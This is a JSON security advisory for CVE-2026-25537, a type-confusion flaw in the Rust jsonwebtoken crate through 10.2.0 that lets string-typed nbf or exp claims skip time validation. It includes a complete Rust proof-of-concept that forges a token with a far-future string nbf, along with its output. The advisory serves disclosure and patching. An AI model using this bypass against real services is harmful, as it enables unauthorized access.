CVE-2026-25537: Jsonwebtoken Jsonwebtoken Has Type Confusion That Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h395-gr6q-cpjc",
  "modified" : "2026-02-05T00:34:49Z",
  "published" : "2026-02-03T18:47:40Z",
  "aliases" : [ "CVE-2026-25537" ],
  "summary" : "jsonwebtoken has Type Confusion that leads to potential authorization bypass",
  "details" : "## Summary:\n\nIt has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.\n\nWhen a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”.\n\nThis means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.\n\n## Details:\n\nThe vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://github.com/Keats/jsonwebtoken/blob/master/src/validation.rs).\n\n 1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:\n```\nenum TryParse<T> {\n    Parsed(T),\n    FailedToParse, // Set when deserialization fails (e.g. type mismatch)\n    NotPresent,\n}\n```\nIf a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.\n\n 1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf\nlike this:\n```\n// L288-291\nif matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) {\n    return Err(new_error(ErrorKind::ImmatureSignature));\n}\n```\nThis matches! macro explicitly looks for TryParse::Parsed(nbf).\n\n • If claims.nbf is FailedToParse, the match returns false.\n • The if block is skipped.\n • No error is returned.\n 1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check:\n```\n// Lines 259-267\nfor required_claim in &options.required_spec_claims {\n    let present = match required_claim.as_str() {\n        \"nbf\" => matches!(claims.nbf, TryParse::Parsed(_)),\n        // ...\n    };\n    if !present { return Err(...); }\n}\n```\nIf “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.\n\nHowever, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption.\n\nEnvironment:\n\n • Version: jsonwebtoken 10.2.0\n • Rust Version: rustc 1.90.0\n • Cargo Version: cargo 1.90.0\n • OS: MacOS Tahoe 26.2\n\nPOC:\n\nFor demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.\n\ncreate a new project:\n```\ncargo new nbf_poc; cd nbf_poc\n```\nadd required dependencies:\n```\ncargo add serde --features derive\ncargo add jsonwebtoken --features rust_crypto\ncargo add serde_json\n```\nreplace the code in src/main.rs with this:\n\n```\nuse jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};\nuse serde::{Deserialize, Serialize};\n\n#[derive(Debug, Serialize, Deserialize)]\nstruct Claims {\n    sub: String,\n    nbf: String, // Attacker sends nbf as a String\n    exp: usize,\n}\nfn main() {\n    let key: &[u8; 24] = b\"RedMouseOverTheSkyIsBlue\";\n\n    // nbf is a String \"99999999999\" (Far future)\n    // Real nbf should be a Number.\n    let my_claims: Claims = Claims {\n        sub: \"krishna\".to_string(),\n        nbf: \"99999999999\".to_string(), \n        exp: 10000000000, \n    };\n\n    let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();\n    println!(\"Forged Token: {}\", token);\n\n    // 2. Configure Validation\n    let mut validation: Validation = Validation::new(Algorithm::HS256);\n    validation.validate_nbf = true; // Enable NBF check\n\n    // We do NOT add \"nbf\" to required_spec_claims (default behavior)\n\n    // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.\n    // The library sees the raw JSON with string \"nbf\".\n    let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(\n        &token, \n        &DecodingKey::from_secret(key), \n        &validation\n    );\n\n    match result {\n        Ok(_) => println!(\"Token was accepted despite malformed far-future 'nbf'!\"),\n        Err(e) => println!(\"Token rejected. Error: {:?}\", e),\n    }\n}\n```\nrun cargo run\n\nexpected behaviour:\n\n```\nForged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk\n```\nToken was accepted despite malformed far-future 'nbf'!\nImpact:\n\nIf an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”).\n\nBy sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.\n\nand for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "jsonwebtoken"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25537"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Keats/jsonwebtoken"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-843" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-03T18:47:40Z",
    "nvd_published_at" : "2026-02-04T22:15:59Z"
  }
}